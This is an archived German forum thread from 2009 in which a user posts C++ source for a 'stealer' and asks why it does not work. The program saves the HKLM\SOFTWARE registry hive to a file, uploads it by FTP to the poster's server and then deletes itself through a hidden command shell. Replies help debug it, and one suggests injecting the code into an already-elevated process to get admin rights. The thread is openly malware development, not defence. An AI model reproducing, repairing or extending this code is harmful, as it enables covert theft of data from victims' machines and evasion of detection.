PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : stealer kopiert registry nicht



skullyan
15.04.2009, 23:33
#include <windows.h>
#include <wininet.h>
#include <process.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <conio.h>

using namespace std;

void upload(char *server, char *account, char *passwort);
void save();
BOOL SelfDelete();

int main()
{
save();
char server[50] = {'serveradresse'};
char account[50] = {'username'};
char passwort[50] = {'passwort'};
upload(server, account, passwort);
SelfDelete();
return EXIT_SUCCESS;

}

void upload(char *server, char *account, char *passwort)
{
HINTERNET hOpen, hConnection;

hOpen = InternetOpen("FTP Upload", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

hConnection = InternetConnect(hOpen, server, INTERNET_DEFAULT_FTP_PORT,
account, passwort, INTERNET_SERVICE_FTP, 0, 0);

FtpPutFile(hConnection, "C:\\data.reg", "//data.reg",
FTP_TRANSFER_TYPE_BINARY, 0);

InternetCloseHandle(hConnection);
InternetCloseHandle(hOpen);
}
void save()
{
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\", 0, KEY_ALL_ACCESS, &key);
RegSaveKey(key, "C:\\data.reg", 0);
RegCloseKey(key);
}
BOOL SelfDelete()
{
TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];

if((GetModuleFileName(0,szFile,MAX_PATH)!=0) &&
(GetShortPathName(szFile,szFile,MAX_PATH)!=0))
{
lstrcpy(szCmd,"/c del ");
lstrcat(szCmd,szFile);
lstrcat(szCmd," >> NUL");

if((GetEnvironmentVariable("ComSpec",szFile,MAX_PATH)!=0) &&
((INT)ShellExecute(0,0,szFile,szCmd,0,SW_HIDE)>32))
return TRUE;
}
return FALSE;
}

Der stealer ist so gecodet dass er den reg kopieren und auf nen server schicken soll. die reg hat aber 0kb. habs auf vista probiert. woran liegts?

nemo
16.04.2009, 12:27
~

skullyan
17.04.2009, 13:01
FtpPutFile(hConnection, "C:\\data.reg", "/data.reg", FTP_TRANSFER_TYPE_BINARY, 0);Ein Slash leitet im Gegensatz zu einem Backslash keine Escapesequenz ein. Du brauchst also nur einen setzen.


FtpPutFile(hConnection, "C:\\data.reg", "/data.reg",
FTP_TRANSFER_TYPE_BINARY, 0);Ein Slash leitet im Gegensatz zu einem Backslash keine Escapesequenz ein. Du brauchst also nur einen setzen.

Edit: Meckert dein Compiler da nicht?

Nein, komischerweise hat mein Compiler nicht gemeckert. Danke, denn das hatte ich echt übersehen!



char server[50] = {'serveradresse'};
char account[50] = {'username'};
char passwort[50] = {'passwort'};Einzelne Zeichen kommen zwischen einfache Hochkommata, ganze Strings zwischen doppelte:


char server[50] = "serveradresse";
char account[50] = "username";
char passwort[50] = "passwort";Oder du initialisierst jedes Element einzeln mit dem entsprechenden Zeichen (eher ungebräuchlich bei Chararrays):


char server[50] = { 's', 'e', 'r', 'v', 'e', 'r',
'a', 'd', 'r', 'e', 's', 's', 'e' };

char account[50] = { 'u', 's', 'e', 'r', 'n', 'a', 'm', 'e" };
char passwort[50] = { 'p', 'a', 's', 's', 'w', 'o', 'r', 't' };
Das wusst ich schon, nur wollt ich hier meine Daten nicht präsentieren. Achja und das Problem besteht weiterhin...
:confused:

xant0x
21.04.2009, 13:51
Auch wenn die Antwort ein bisschen verspätet kommt:
Das liegt daran, dass du unter Vista höchstwahrscheinlich nicht genügend Rechte hast!
Starte deinen Stealer doch mal mit Admin Rechten (wie das geht solltest du wissen).
Dann sollte es nämlich gehen ..

Wie du das Problem mit den Admin Rechten lösen kannst?
Ganz einfach, du injectest deinen Code in ein Programm, dass bereits Admin Rechte hat (Notepad oder Calc dürfe sich dazu anbieten).

skullyan
23.04.2009, 00:54
Auch wenn die Antwort ein bisschen verspätet kommt:
Das liegt daran, dass du unter Vista höchstwahrscheinlich nicht genügend Rechte hast!
Starte deinen Stealer doch mal mit Admin Rechten (wie das geht solltest du wissen).
Dann sollte es nämlich gehen ..

Wie du das Problem mit den Admin Rechten lösen kannst?
Ganz einfach, du injectest deinen Code in ein Programm, dass bereits Admin Rechte hat (Notepad oder Calc dürfe sich dazu anbieten).
Ja, das mit dem Injecten halte ich für ne gute Idee, danke... Aber leider hat das mit den Admin Rechten mein Problem auch nicht gelöst. Warum erstellt das Programm keine kopie der Registry?

skullyan
13.05.2009, 22:45
Kann mir keiner Helfen? :confused:

hpoc
14.05.2009, 00:15
Hast du es überhaupt versucht?

Zeko
14.05.2009, 07:02
[code]

HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\", 0,

Ich kann mich täuschen, aber muss vor "SOFTWARE\\" nicht noch ein Double Backslash?

skullyan
12.08.2009, 10:07
versteht keiner diesen fehler?

IRET
12.08.2009, 10:21
Versuch doch mal die Registry local am Desktop zu speichern.
Dann kannst du das Problem genauer identifizieren.
Und versuch auch eien andere Datei zu uploaden.
So findest du wo der Fehler liegt.
Du kannst von niemanden erwarten ,dass er für dich debugt ;)

Alucart
29.08.2009, 10:28
wird BOOL nicht auch klein geschrieben? du meinst doch damit den Datentyp oder?
also wirds soviel ich weiß bool geschrieben.

blackberry
29.08.2009, 11:24
BOOL wird in windef.h wie folgt deklariert:
typedef int BOOL;
(siehe: http://msdn.microsoft.com/en-us/library/aa383751(VS.85).aspx)

BOOL wird wegen Abwärtskompatibilität zu C (welches ja kein "bool" kennt) verwendet und ist, wie oben gezeigt, nur ein Synonym für einen Integer (weiterhin kennen wir ja die Wahrheitsbehandlung von C -- jede Zahl, außer Null ist true und die Null false).


mfG. BlackBerry